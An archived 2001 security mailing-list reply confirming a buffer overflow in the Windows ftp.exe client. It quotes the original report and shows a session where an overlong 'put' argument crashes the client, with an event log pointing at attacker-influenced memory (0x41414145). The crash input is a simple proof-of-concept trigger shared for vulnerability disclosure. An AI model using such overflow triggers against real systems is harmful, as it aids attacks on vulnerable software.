Re: FTP.exe risk:low

From: Chris . (jslatat_private)
Date: Mon May 21 2001 - 10:53:17 PDT

  • Next message: Bruno Mosconi: "Re: IE 5.x (5.50.4522.1800 SP1) Crash at gopher://:"

    >There are a lot of unchecked buffers in FTP.exe (client) try:
    >
    >C:\>ftp
    >ftp> put
    >AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [....]
    >
    
    >
    >This is not an important security problem but it makes you think about
    >microsoft developers...
    >
    >
    >
    >Eliel C. Sardaņons
    
    
    I tried this, win2k 5.00.2195 / IIS 5.0 FTPd and got the same results
    
    C:\>ftp localhost
    Connected to localhost.
    220 Microsoft FTP Service (Version 5.0).
    User (localhost:(none)): test1
    331 Password required for test1.
    Password:
    230 User test1 logged in.
    ftp> put AAAAAAAAAAAAA
    
    [.....]
    
    AAAAAAAAAAA<CR>
    
    C:\>
    
    Event Logs show the following
    
    Application popup: ftp.exe - Application Error : The instruction at 
    "0x77f8c493" referenced memory at "0x41414145". The memory could not be 
    "read".
    
    
    
    
    _________________________________________________________________
    Get your FREE download of MSN Explorer at http://explorer.msn.com
    



    This archive was generated by hypermail 2b30 : Mon May 21 2001 - 21:20:45 PDT